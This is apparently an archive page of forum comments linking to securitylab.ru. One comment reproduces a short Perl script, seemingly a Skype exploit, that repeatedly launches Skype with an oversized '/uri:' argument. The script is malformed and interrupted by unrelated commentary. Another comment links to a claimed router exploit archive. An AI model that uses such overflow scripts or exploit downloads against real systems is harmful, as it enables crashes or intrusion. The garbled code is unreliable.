Domain: securitylab.ru
Stories and comments across the archive that link to securitylab.ru.
Comments · 5
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Running FreeBSD!
How evil can you get?
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Re:TranslationYou've got to be kidding, I was about to submit my own translation!
:)
Anyway, your version is probably a little better, so I'll contribute with something else. The script is very short too, so here it is:#!/usr/bin/perl
The first page of comments seems to be just the usual bunch of trolls, assholes, and simply useless posts, except for one that claims the code has been shown not to do anything on a dedicated security site. The Skype article on the front page doesn't contain any additional information. The attack looks almost too simple to work, but I wasn't able to find any strong evidence that would suggest that it doesn't, at least not with a few quick searches.
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!
for ($i=256; $i>xCCCCC; $i=$i+256)
{
$eot='AAAA' x $i;
call_sp();
}
exit;
sub call_sp()
{
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
system("$str");
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Code samples
Security lab posted first 100 lines of ipv6_discovery_test.c and ipv6_tcp.c. Aside from a somewhat clumsy type names, the code is clean.
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Code samples
Security lab posted first 100 lines of ipv6_discovery_test.c and ipv6_tcp.c. Aside from a somewhat clumsy type names, the code is clean.
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Wanna check your routers?
Here the exploit: http://www.securitylab.ru/_tools/shadowchode.tar.
t ar
It's .tar.gz file, incorrectly named.